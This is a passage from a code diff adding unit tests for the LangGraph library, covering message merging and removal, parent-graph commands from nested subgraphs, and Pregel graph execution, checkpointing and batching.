AIMessage(content="Hi there!", id="2"), + ] + right = RemoveMessage(id="2") + result = add_messages(left, right) + expected_result = [HumanMessage(content="Hello", id="1")] + assert result == expected_result + + +def test_duplicate_remove_message(): + left = [ + HumanMessage(content="Hello", id="1"), + AIMessage(content="Hi there!", id="2"), + ] + right = [RemoveMessage(id="2"), RemoveMessage(id="2")] + result = add_messages(left, right) + expected_result = [HumanMessage(content="Hello", id="1")] + assert result == expected_result + + +def test_remove_nonexistent_message(): + left = [HumanMessage(content="Hello", id="1")] + right = RemoveMessage(id="2") + with pytest.raises( + ValueError, match="Attempting to delete a message with an ID that doesn't exist" + ): + add_messages(left, right) + + +def test_mixed_operations(): + left = [ + HumanMessage(content="Hello", id="1"), + AIMessage(content="Hi there!", id="2"), + ] + right = [ + HumanMessage(content="Updated hello", id="1"), + RemoveMessage(id="2"), + SystemMessage(content="New message", id="3"), + ] + result = add_messages(left, right) + expected_result = [ + HumanMessage(content="Updated hello", id="1"), + SystemMessage(content="New message", id="3"), + ] + assert result == expected_result + + +def test_empty_inputs(): + assert add_messages([], []) == [] + assert add_messages([], [HumanMessage(content="Hello", id="1")]) == [ + HumanMessage(content="Hello", id="1") + ] + assert add_messages([HumanMessage(content="Hello", id="1")], []) == [ + HumanMessage(content="Hello", id="1") + ] + + +def test_non_list_inputs(): + left = HumanMessage(content="Hello", id="1") + right = AIMessage(content="Hi there!", id="2") + result = add_messages(left, right) + expected_result = [ + HumanMessage(content="Hello", id="1"), + AIMessage(content="Hi there!", id="2"), + ] + assert result == expected_result + + +def test_delete_all(): + left = [ + HumanMessage(content="Hello", id="1"), + AIMessage(content="Hi there!", id="2"), + ] + right = [ + RemoveMessage(id="1"), + RemoveMessage(id="2"), + ] + result = add_messages(left, right) + expected_result = [] + assert result == expected_result + + +class MessagesStatePydantic(BaseModel): + messages: Annotated[list[AnyMessage], add_messages] + + +MESSAGES_STATE_SCHEMAS = [MessagesState, MessagesStatePydantic] + + +@pytest.mark.parametrize("state_schema", MESSAGES_STATE_SCHEMAS) +def test_messages_state(state_schema): + def foo(state): + return {"messages": [HumanMessage("foo")]} + + graph = StateGraph(state_schema) + graph.add_edge(START, "foo") + graph.add_edge("foo", END) + graph.add_node(foo) + + app = graph.compile() + + assert app.invoke({"messages": [("user", "meow")]}) == { + "messages": [ + _AnyIdHumanMessage(content="meow"), + _AnyIdHumanMessage(content="foo"), + ] + } + + +@pytest.mark.skipif( + condition=not ((CORE_MINOR == 3 and CORE_PATCH >= 11) or CORE_MINOR > 3), + reason="Requires langchain_core>=0.3.11.", +) +def test_messages_state_format_openai(): + class State(TypedDict): + messages: Annotated[list[AnyMessage], add_messages(format="langchain-openai")] + + def foo(state): + messages = [ + HumanMessage( + content=[ + { + "type": "text", + "text": "Here's an image:", + "cache_control": {"type": "ephemeral"}, + }, + { + "type": "image", + "source": { + "type": "base64", + "media_type": "image/jpeg", + "data": "1234", + }, + }, + ] + ), + AIMessage( + content=[ + { + "type": "tool_use", + "name": "foo", + "input": {"bar": "baz"}, + "id": "1", + } + ] + ), + HumanMessage( + content=[ + { + "type": "tool_result", + "tool_use_id": "1", + "is_error": False, + "content": [ + { + "type": "image", + "source": { + "type": "base64", + "media_type": "image/jpeg", + "data": "1234", + }, + }, + ], + } + ] + ), + ] + return {"messages": messages} + + expected = [ + HumanMessage(content="meow"), + HumanMessage( + content=[ + {"type": "text", "text": "Here's an image:"}, + { + "type": "image_url", + "image_url": {"url": "data:image/jpeg;base64,1234"}, + }, + ], + ), + AIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "type": "tool_calls", + "args": {"bar": "baz"}, + "id": "1", + } + ], + ), + ToolMessage( + content=[ + { + "type": "image_url", + "image_url": {"url": "data:image/jpeg;base64,1234"}, + } + ], + tool_call_id="1", + ), + ] + + graph = StateGraph(State) + graph.add_edge(START, "foo") + graph.add_edge("foo", END) + graph.add_node(foo) + + app = graph.compile() + + result = app.invoke({"messages": [("user", "meow")]}) + for m in result["messages"]: + m.id = None + assert result == {"messages": expected} + + +def test_remove_all_messages(): + # simple removal + left = [HumanMessage(content="Hello"), AIMessage(content="Hi there!")] + right = [RemoveMessage(id=REMOVE_ALL_MESSAGES)] + result = add_messages(left, right) + assert result == [] + + # removal and update (i.e., overwriting) + left = [HumanMessage(content="Hello"), AIMessage(content="Hi there!")] + right = [ + RemoveMessage(id=REMOVE_ALL_MESSAGES), + HumanMessage(content="Updated hello"), + ] + result = add_messages(left, right) + assert result == [_AnyIdHumanMessage(content="Updated hello")] + + # test removing preceding messages in the right list + left = [HumanMessage(content="Hello"), AIMessage(content="Hi there!")] + right = [ + HumanMessage(content="Updated hello"), + RemoveMessage(id=REMOVE_ALL_MESSAGES), + HumanMessage(content="Updated hi there"), + ] + result = add_messages(left, right) + assert result == [ + _AnyIdHumanMessage(content="Updated hi there"), + ] + + +def test_push_messages_in_graph(): + class MessagesState(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + + def chat(_: MessagesState) -> MessagesState: + with pytest.raises(ValueError, match="Message ID is required"): + push_message(AIMessage(content="No ID")) + + push_message(AIMessage(content="First", id="1")) + push_message(HumanMessage(content="Second", id="2")) + push_message(AIMessage(content="Third", id="3")) + + builder = StateGraph(MessagesState) + builder.add_node(chat) + builder.add_edge(START, "chat") + + graph = builder.compile() + + messages, values = [], None + for event, chunk in graph.stream( + {"messages": []}, stream_mode=["messages", "values"] + ): + if event == "values": + values = chunk + elif event == "messages": + message, _ = chunk + messages.append(message) + + assert values["messages"] == messages diff --git a/libs/langgraph/tests/test_parent_command.py b/libs/langgraph/tests/test_parent_command.py new file mode 100644 index 0000000..6b36823 --- /dev/null +++ b/libs/langgraph/tests/test_parent_command.py @@ -0,0 +1,53 @@ +from __future__ import annotations + +from typing_extensions import TypedDict + +from langgraph.graph import END, START, StateGraph +from langgraph.types import Command + + +def test_parent_command_from_nested_subgraph() -> None: + class ParentState(TypedDict): + jump_from_idx: int + + class ChildState(TypedDict): + jump: bool + + child_builder: StateGraph[ChildState] = StateGraph(ChildState) + + def child_node(state: ChildState) -> Command | ChildState: + if state["jump"]: + return Command(graph=Command.PARENT, goto="parent_second") + return state + + child_builder.add_node("node", child_node) + child_builder.add_edge(START, "node") + + child_0 = child_builder.compile() + child_1 = child_builder.compile() + + parent_builder: StateGraph[ParentState] = StateGraph(ParentState) + + def parent_first(state: ParentState) -> ParentState: + child_0.invoke({"jump": state["jump_from_idx"] == 1}) + if state["jump_from_idx"] == 1: + raise AssertionError("Shouldn't be here") + + child_1.invoke({"jump": state["jump_from_idx"] == 2}) + if state["jump_from_idx"] == 2: + raise AssertionError("Shouldn't be here") + + return state + + def parent_second(state: ParentState) -> ParentState: + return state + + parent_builder.add_node("parent_first", parent_first) + parent_builder.add_node("parent_second", parent_second) + parent_builder.add_edge(START, "parent_first") + parent_builder.add_edge("parent_second", END) + + graph = parent_builder.compile() + + assert graph.invoke({"jump_from_idx": 1}) == {"jump_from_idx": 1} + assert graph.invoke({"jump_from_idx": 2}) == {"jump_from_idx": 2} diff --git a/libs/langgraph/tests/test_parent_command_async.py b/libs/langgraph/tests/test_parent_command_async.py new file mode 100644 index 0000000..39a0776 --- /dev/null +++ b/libs/langgraph/tests/test_parent_command_async.py @@ -0,0 +1,57 @@ +from __future__ import annotations + +import pytest +from langchain_core.runnables import RunnableConfig +from typing_extensions import TypedDict + +from langgraph.graph import END, START, StateGraph +from langgraph.types import Command + +pytestmark = pytest.mark.anyio + + +async def test_parent_command_from_nested_subgraph() -> None: + class ParentState(TypedDict): + jump_from_idx: int + + class ChildState(TypedDict): + jump: bool + + child_builder: StateGraph[ChildState] = StateGraph(ChildState) + + async def child_node(state: ChildState) -> Command | ChildState: + if state["jump"]: + return Command(graph=Command.PARENT, goto="parent_second") + return state + + child_builder.add_node("node", child_node) + child_builder.add_edge(START, "node") + + child_0 = child_builder.compile() + child_1 = child_builder.compile() + + parent_builder: StateGraph[ParentState] = StateGraph(ParentState) + + async def parent_first(state: ParentState, config: RunnableConfig) -> ParentState: + await child_0.ainvoke({"jump": state["jump_from_idx"] == 1}, config) + if state["jump_from_idx"] == 1: + raise AssertionError("Shouldn't be here") + + await child_1.ainvoke({"jump": state["jump_from_idx"] == 2}, config) + if state["jump_from_idx"] == 2: + raise AssertionError("Shouldn't be here") + + return state + + async def parent_second(state: ParentState) -> ParentState: + return state + + parent_builder.add_node("parent_first", parent_first) + parent_builder.add_node("parent_second", parent_second) + parent_builder.add_edge(START, "parent_first") + parent_builder.add_edge("parent_second", END) + + graph = parent_builder.compile().with_config(recursion_limit=10) + + assert await graph.ainvoke({"jump_from_idx": 1}) == {"jump_from_idx": 1} + assert await graph.ainvoke({"jump_from_idx": 2}) == {"jump_from_idx": 2} diff --git a/libs/langgraph/tests/test_pregel.py b/libs/langgraph/tests/test_pregel.py new file mode 100644 index 0000000..58dd294 --- /dev/null +++ b/libs/langgraph/tests/test_pregel.py @@ -0,0 +1,9677 @@ +import enum +import functools +import gc +import json +import logging +import operator +import threading +import time +import uuid +from collections import Counter, deque +from collections.abc import Sequence +from concurrent.futures import ThreadPoolExecutor +from dataclasses import dataclass, field +from random import randrange +from typing import Annotated, Any, Literal, get_type_hints + +import pytest +from langchain_core.language_models import GenericFakeChatModel +from langchain_core.messages import AIMessage, AnyMessage, HumanMessage, RemoveMessage +from langchain_core.runnables import ( + RunnableConfig, + RunnableLambda, + RunnablePassthrough, +) +from langchain_core.runnables.graph import Edge +from langchain_core.version import VERSION as LANGCHAIN_CORE_VERSION +from langgraph.cache.base import BaseCache +from langgraph.checkpoint.base import ( + BaseCheckpointSaver, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, +) +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.prebuilt.tool_node import ToolNode +from langgraph.store.base import BaseStore +from langsmith import traceable +from pydantic import BaseModel, ConfigDict, Field, ValidationError +from pytest_mock import MockerFixture +from syrupy import SnapshotAssertion +from typing_extensions import NotRequired, TypedDict + +from langgraph._internal._constants import CONFIG_KEY_NODE_FINISHED, ERROR, PULL +from langgraph.channels.binop import BinaryOperatorAggregate +from langgraph.channels.delta import DeltaChannel +from langgraph.channels.ephemeral_value import EphemeralValue +from langgraph.channels.last_value import LastValue +from langgraph.channels.topic import Topic +from langgraph.channels.untracked_value import UntrackedValue +from langgraph.config import get_stream_writer +from langgraph.errors import GraphRecursionError, InvalidUpdateError, ParentCommand +from langgraph.func import entrypoint, task +from langgraph.graph import END, START, StateGraph +from langgraph.graph.message import MessagesState, _messages_delta_reducer, add_messages +from langgraph.pregel import ( + NodeBuilder, + Pregel, +) +from langgraph.pregel._loop import SyncPregelLoop +from langgraph.pregel._runner import PregelRunner +from langgraph.types import ( + CachePolicy, + Command, + Durability, + Interrupt, + Overwrite, + PregelTask, + RetryPolicy, + Send, + StateSnapshot, + StateUpdate, + StreamWriter, + interrupt, +) +from tests.agents import AgentAction, AgentFinish +from tests.any_str import AnyStr, AnyVersion, FloatBetween, UnsortedSequence +from tests.messages import ( + _AnyIdAIMessage, + _AnyIdAIMessageChunk, + _AnyIdHumanMessage, + _AnyIdToolMessage, +) + +pytestmark = pytest.mark.anyio + +logger = logging.getLogger(__name__) + + +def test_graph_validation() -> None: + class State(TypedDict): + hello: str + + graph = StateGraph(State) + graph.add_node("start", lambda x: x) + graph.add_edge("__start__", "start") + graph.add_edge("unknown", "start") + graph.add_edge("start", "__end__") + with pytest.raises(ValueError, match="Found edge starting at unknown node "): + graph.compile() + + def bad_reducer(a): ... + + class BadReducerState(TypedDict): + hello: Annotated[str, bad_reducer] + + with pytest.raises(ValueError, match="Invalid reducer"): + StateGraph(BadReducerState) + + def node_b(state: State) -> State: + return {"hello": "world"} + + builder = StateGraph(State) + builder.add_node("a", node_b) + builder.add_node("b", node_b) + builder.add_node("c", node_b) + builder.set_entry_point("a") + builder.add_edge("a", "b") + builder.add_edge("a", "c") + graph = builder.compile() + + with pytest.raises(InvalidUpdateError, match="At key 'hello'"): + graph.invoke({"hello": "there"}) + + +def test_request_drain_allows_inflight_call_scheduling( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + from langgraph.runtime import RunControl + + @task + def child(x: int) -> int: + return x + 1 + + control = RunControl() + + @entrypoint(checkpointer=sync_checkpointer) + def graph(x: int) -> int: + control.request_drain() + fut = child(x) + return fut.result() + + config = {"configurable": {"thread_id": "drain-call-sync"}} + + assert graph.invoke(1, config=config, control=control) == 2 + assert control.drain_requested + + +def test_invalid_checkpointer_type() -> None: + class State(TypedDict): + foo: str + + builder = StateGraph(State) + builder.add_node("start", lambda state: state) + builder.set_entry_point("start") + builder.set_finish_point("start") + + class NotACheckpointer: + pass + + with pytest.raises(TypeError, match="Invalid checkpointer provided"): + builder.compile(checkpointer=NotACheckpointer()) + + +def test_graph_validation_with_command() -> None: + class State(TypedDict): + foo: str + bar: str + + def node_a(state: State): + return Command(goto="b", update={"foo": "bar"}) + + def node_b(state: State): + return Command(goto=END, update={"bar": "baz"}) + + builder = StateGraph(State) + builder.add_node("a", node_a) + builder.add_node("b", node_b) + builder.add_edge(START, "a") + graph = builder.compile() + assert graph.invoke({"foo": ""}) == {"foo": "bar", "bar": "baz"} + + +def test_checkpoint_errors() -> None: + class FaultyGetCheckpointer(InMemorySaver): + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + raise ValueError("Faulty get_tuple") + + class FaultyPutCheckpointer(InMemorySaver): + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: dict[str, str | int | float] | None = None, + ) -> RunnableConfig: + raise ValueError("Faulty put") + + class FaultyPutWritesCheckpointer(InMemorySaver): + def put_writes( + self, config: RunnableConfig, writes: list[tuple[str, Any]], task_id: str + ) -> RunnableConfig: + raise ValueError("Faulty put_writes") + + class FaultyVersionCheckpointer(InMemorySaver): + def get_next_version(self, current: int | None, channel: None) -> int: + raise ValueError("Faulty get_next_version") + + def logic(inp: str) -> str: + return "" + + builder = StateGraph(Annotated[str, operator.add]) + builder.add_node("agent", logic) + builder.add_edge(START, "agent") + + graph = builder.compile(checkpointer=FaultyGetCheckpointer()) + with pytest.raises(ValueError, match="Faulty get_tuple"): + graph.invoke("", {"configurable": {"thread_id": "thread-1"}}) + + graph = builder.compile(checkpointer=FaultyPutCheckpointer()) + with pytest.raises(ValueError, match="Faulty put"): + graph.invoke("", {"configurable": {"thread_id": "thread-1"}}) + + graph = builder.compile(checkpointer=FaultyVersionCheckpointer()) + with pytest.raises(ValueError, match="Faulty get_next_version"): + graph.invoke("", {"configurable": {"thread_id": "thread-1"}}) + + # add parallel node + builder.add_node("parallel", logic) + builder.add_edge(START, "parallel") + graph = builder.compile(checkpointer=FaultyPutWritesCheckpointer()) + with pytest.raises(ValueError, match="Faulty put_writes"): + graph.invoke( + "", {"configurable": {"thread_id": "thread-1"}}, durability="async" + ) + + +def test_context_json_schema() -> None: + """Test that config json schema is generated properly.""" + chain = NodeBuilder().subscribe_only("input").write_to("output") + + @dataclass + class Foo: + x: int + y: str = field(default="foo") + + app = Pregel( + nodes={ + "one": chain, + }, + channels={ + "ephemeral": EphemeralValue(Any), + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels=["input", "ephemeral"], + output_channels="output", + context_schema=Foo, + ) + + assert app.get_context_jsonschema() == { + "properties": { + "x": { + "title": "X", + "type": "integer", + }, + "y": { + "default": "foo", + "title": "Y", + "type": "string", + }, + }, + "required": [ + "x", + ], + "title": "Foo", + "type": "object", + } + + +def test_node_schemas_custom_output() -> None: + class State(TypedDict): + hello: str + bye: str + messages: Annotated[list[str], add_messages] + + class Output(TypedDict): + messages: list[str] + + class StateForA(TypedDict): + hello: str + messages: Annotated[list[str], add_messages] + + def node_a(state: StateForA) -> State: + assert state == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + class StateForB(TypedDict): + bye: str + now: int + + def node_b(state: StateForB): + assert state == { + "bye": "world", + } + return { + "now": 123, + "hello": "again", + } + + class StateForC(TypedDict): + hello: str + now: int + + def node_c(state: StateForC) -> StateForC: + assert state == { + "hello": "again", + "now": 123, + } + + builder = StateGraph(State, output_schema=Output) + builder.add_node("a", node_a) + builder.add_node("b", node_b) + builder.add_node("c", node_c) + builder.add_edge(START, "a") + builder.add_edge("a", "b") + builder.add_edge("b", "c") + graph = builder.compile() + + assert graph.invoke({"hello": "there", "bye": "world", "messages": "hello"}) == { + "messages": [_AnyIdHumanMessage(content="hello")], + } + + builder = StateGraph(State, output_schema=Output) + builder.add_node("a", node_a) + builder.add_node("b", node_b) + builder.add_node("c", node_c) + builder.add_edge(START, "a") + builder.add_edge("a", "b") + builder.add_edge("b", "c") + graph = builder.compile() + + assert graph.invoke( + { + "hello": "there", + "bye": "world", + "messages": "hello", + "now": 345, # ignored because not in input schema + } + ) == { + "messages": [_AnyIdHumanMessage(content="hello")], + } + + assert [ + c + for c in graph.stream( + { + "hello": "there", + "bye": "world", + "messages": "hello", + "now": 345, # ignored because not in input schema + } + ) + ] == [ + {"a": None}, + {"b": {"hello": "again", "now": 123}}, + {"c": None}, + ] + + +def test_reducer_before_first_node() -> None: + class State(TypedDict): + hello: str + messages: Annotated[list[str], add_messages] + + def node_a(state: State) -> State: + assert state == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + builder = StateGraph(State) + builder.add_node("a", node_a) + builder.set_entry_point("a") + builder.set_finish_point("a") + graph = builder.compile() + assert graph.invoke({"hello": "there", "messages": "hello"}) == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + class State(TypedDict): + hello: str + messages: Annotated[list[str], add_messages] + + def node_a(state: State) -> State: + assert state == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + builder = StateGraph(State) + builder.add_node("a", node_a) + builder.set_entry_point("a") + builder.set_finish_point("a") + graph = builder.compile() + assert graph.invoke({"hello": "there", "messages": "hello"}) == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + class State(TypedDict): + hello: str + messages: Annotated[Sequence[str], add_messages] + + def node_a(state: State) -> State: + assert state == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + builder = StateGraph(State) + builder.add_node("a", node_a) + builder.set_entry_point("a") + builder.set_finish_point("a") + graph = builder.compile() + assert graph.invoke({"hello": "there", "messages": "hello"}) == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + +def test_invoke_single_process_in_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={ + "one": chain, + }, + channels={ + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "integer", + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "integer", + } + assert app.get_context_jsonschema() is None + + assert app.invoke(2) == 3 + assert app.invoke(2, output_keys=["output"]) == {"output": 3} + assert repr(app), "does not raise recursion error" + + +def test_invoke_single_process_in_write_kwargs(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = ( + NodeBuilder() + .subscribe_only("input") + .do(add_one) + .write_to("output", fixed=5, output_plus_one=lambda x: x + 1) + ) + + app = Pregel( + nodes={"one": chain}, + channels={ + "input": LastValue(int), + "output": LastValue(int), + "fixed": LastValue(int), + "output_plus_one": LastValue(int), + }, + output_channels=["output", "fixed", "output_plus_one"], + input_channels="input", + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "integer", + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "object", + "properties": { + "output": {"title": "Output", "type": "integer", "default": None}, + "fixed": {"title": "Fixed", "type": "integer", "default": None}, + "output_plus_one": { + "title": "Output Plus One", + "type": "integer", + "default": None, + }, + }, + } + assert app.invoke(2) == {"output": 3, "fixed": 5, "output_plus_one": 4} + + +def test_invoke_single_process_in_out_dict(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": chain}, + channels={"input": LastValue(int), "output": LastValue(int)}, + input_channels="input", + output_channels=["output"], + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "integer", + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "object", + "properties": { + "output": {"title": "Output", "type": "integer", "default": None} + }, + } + assert app.invoke(2) == {"output": 3} + + +def test_invoke_single_process_in_dict_out_dict(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": chain}, + channels={"input": LastValue(int), "output": LastValue(int)}, + input_channels=["input"], + output_channels=["output"], + ) + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "object", + "properties": {"input": {"title": "Input", "type": "integer", "default": None}}, + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "object", + "properties": { + "output": {"title": "Output", "type": "integer", "default": None} + }, + } + assert app.invoke({"input": 2}) == {"output": 3} + + +def test_invoke_two_processes_in_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + two = NodeBuilder().subscribe_only("inbox").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "inbox": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + assert app.invoke(2) == 4 + + with pytest.raises(GraphRecursionError): + app.invoke(2, {"recursion_limit": 1}, debug=1) + + +def test_run_from_checkpoint_id_retains_previous_writes( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class MyState(TypedDict): + myval: Annotated[int, operator.add] + otherval: bool + + class Anode: + def __init__(self): + self.switch = False + + def __call__(self, state: MyState): + self.switch = not self.switch + return {"myval": 2 if self.switch else 1, "otherval": self.switch} + + builder = StateGraph(MyState) + thenode = Anode() # Fun. + builder.add_node("node_one", thenode) + builder.add_node("node_two", thenode) + builder.add_edge(START, "node_one") + + def _getedge(src: str): + swap = "node_one" if src == "node_two" else "node_two" + + def _edge(st: MyState) -> Literal["__end__", "node_one", "node_two"]: + if st["myval"] > 3: + return END + if st["otherval"]: + return swap + return src + + return _edge + + builder.add_conditional_edges("node_one", _getedge("node_one")) + builder.add_conditional_edges("node_two", _getedge("node_two")) + graph = builder.compile(checkpointer=sync_checkpointer) + + thread_id = uuid.uuid4() + thread1 = {"configurable": {"thread_id": str(thread_id)}} + + result = graph.invoke({"myval": 1}, thread1, durability="async") + assert result["myval"] == 4 + history = [c for c in graph.get_state_history(thread1)] + + assert len(history) == 4 + assert history[-1].values == {"myval": 0} + assert history[0].values == {"myval": 4, "otherval": False} + + second_run_config = { + **thread1, + "configurable": { + **thread1["configurable"], + "checkpoint_id": history[1].config["configurable"]["checkpoint_id"], + }, + } + second_result = graph.invoke(None, second_run_config) + assert second_result == {"myval": 5, "otherval": True} + + new_history = [ + c + for c in graph.get_state_history( + {"configurable": {"thread_id": str(thread_id), "checkpoint_ns": ""}} + ) + ] + + # +2: one fork checkpoint from time travel, one from the new execution + assert len(new_history) == len(history) + 2 + # new_history[0] is the new execution result, new_history[1] is the fork + assert new_history[1].metadata["source"] == "fork" + for original, new in zip(history, new_history[2:]): + assert original.values == new.values + assert original.next == new.next + assert original.metadata["step"] == new.metadata["step"] + + def _get_tasks(hist: list, start: int): + return [h.tasks for h in hist[start:]] + + assert _get_tasks(new_history, 2) == _get_tasks(history, 0) + + +def test_batch_two_processes_in_out() -> None: + def add_one_with_delay(inp: int) -> int: + time.sleep(inp / 10) + return inp + 1 + + one = NodeBuilder().subscribe_only("input").do(add_one_with_delay).write_to("one") + two = NodeBuilder().subscribe_only("one").do(add_one_with_delay).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "one": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + assert app.batch([3, 2, 1, 3, 5]) == [5, 4, 3, 5, 7] + assert app.batch([3, 2, 1, 3, 5], output_keys=["output"]) == [ + {"output": 5}, + {"output": 4}, + {"output": 3}, + {"output": 5}, + {"output": 7}, + ] + + +def test_invoke_many_processes_in_out(mocker: MockerFixture) -> None: + test_size = 100 + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + nodes = {"-1": NodeBuilder().subscribe_only("input").do(add_one).write_to("-1")} + for i in range(test_size - 2): + nodes[str(i)] = ( + NodeBuilder().subscribe_only(str(i - 1)).do(add_one).write_to(str(i)) + ) + nodes["last"] = NodeBuilder().subscribe_only(str(i)).do(add_one).write_to("output") + + app = Pregel( + nodes=nodes, + channels={str(i): LastValue(int) for i in range(-1, test_size - 2)} + | {"input": LastValue(int), "output": LastValue(int)}, + input_channels="input", + output_channels="output", + ) + + for _ in range(10): + assert app.invoke(2, {"recursion_limit": test_size}) == 2 + test_size + + with ThreadPoolExecutor() as executor: + assert [ + *executor.map(app.invoke, [2] * 10, [{"recursion_limit": test_size}] * 10) + ] == [2 + test_size] * 10 + + +def test_batch_many_processes_in_out(mocker: MockerFixture) -> None: + test_size = 100 + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + nodes = {"-1": NodeBuilder().subscribe_only("input").do(add_one).write_to("-1")} + for i in range(test_size - 2): + nodes[str(i)] = ( + NodeBuilder().subscribe_only(str(i - 1)).do(add_one).write_to(str(i)) + ) + nodes["last"] = NodeBuilder().subscribe_only(str(i)).do(add_one).write_to("output") + + app = Pregel( + nodes=nodes, + channels={str(i): LastValue(int) for i in range(-1, test_size - 2)} + | {"input": LastValue(int), "output": LastValue(int)}, + input_channels="input", + output_channels="output", + ) + + for _ in range(3): + assert app.batch([2, 1, 3, 4, 5], {"recursion_limit": test_size}) == [ + 2 + test_size, + 1 + test_size, + 3 + test_size, + 4 + test_size, + 5 + test_size, + ] + + with ThreadPoolExecutor() as executor: + assert [ + *executor.map( + app.batch, [[2, 1, 3, 4, 5]] * 3, [{"recursion_limit": test_size}] * 3 + ) + ] == [ + [2 + test_size, 1 + test_size, 3 + test_size, 4 + test_size, 5 + test_size] + ] * 3 + + +def test_invoke_two_processes_two_in_two_out_invalid(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + two = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={"output": LastValue(int), "input": LastValue(int)}, + input_channels="input", + output_channels="output", + ) + + with pytest.raises(InvalidUpdateError): + # LastValue channels can only be updated once per iteration + app.invoke(2) + + class State(TypedDict): + hello: str + + def my_node(input: State) -> State: + return {"hello": "world"} + + builder = StateGraph(State) + builder.add_node("one", my_node) + builder.add_node("two", my_node) + builder.set_conditional_entry_point(lambda _: ["one", "two"]) + + graph = builder.compile() + with pytest.raises(InvalidUpdateError, match="At key 'hello'"): + graph.invoke({"hello": "there"}, debug=True) + + +def test_invoke_two_processes_two_in_two_out_valid(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + two = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "input": LastValue(int), + "output": Topic(int), + }, + input_channels="input", + output_channels="output", + ) + + # An Inbox channel accumulates updates into a sequence + assert app.invoke(2) == [3, 3] + + +def test_invoke_checkpoint_two( + mocker: MockerFixture, sync_checkpointer: BaseCheckpointSaver +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x["total"] + x["input"]) + errored_once = False + + def raise_if_above_10(input: int) -> int: + nonlocal errored_once + if input > 4: + if errored_once: + pass + else: + errored_once = True + raise ConnectionError("I will be retried") + if input > 10: + raise ValueError("Input is too large") + return input + + one = ( + NodeBuilder() + .subscribe_to("input") + .read_from("total") + .do(add_one) + .write_to("output", "total") + .do(raise_if_above_10) + ) + + app = Pregel( + nodes={"one": one}, + channels={ + "total": BinaryOperatorAggregate(int, operator.add), + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + checkpointer=sync_checkpointer, + retry_policy=RetryPolicy(), + ) + + # total starts out as 0, so output is 0+2=2 + assert app.invoke(2, {"configurable": {"thread_id": "1"}}) == 2 + checkpoint = sync_checkpointer.get({"configurable": {"thread_id": "1"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 2 + # total is now 2, so output is 2+3=5 + assert app.invoke(3, {"configurable": {"thread_id": "1"}}) == 5 + assert errored_once, "errored and retried" + checkpoint_tup = sync_checkpointer.get_tuple({"configurable": {"thread_id": "1"}}) + assert checkpoint_tup is not None + assert checkpoint_tup.checkpoint["channel_values"].get("total") == 7 + # total is now 2+5=7, so output would be 7+4=11, but raises ValueError + with pytest.raises(ValueError): + app.invoke(4, {"configurable": {"thread_id": "1"}}) + # checkpoint is not updated, error is recorded + checkpoint_tup = sync_checkpointer.get_tuple({"configurable": {"thread_id": "1"}}) + assert checkpoint_tup is not None + assert checkpoint_tup.checkpoint["channel_values"].get("total") == 7 + assert checkpoint_tup.pending_writes == [ + (AnyStr(), ERROR, "ValueError('Input is too large')") + ] + # on a new thread, total starts out as 0, so output is 0+5=5 + assert app.invoke(5, {"configurable": {"thread_id": "2"}}) == 5 + checkpoint = 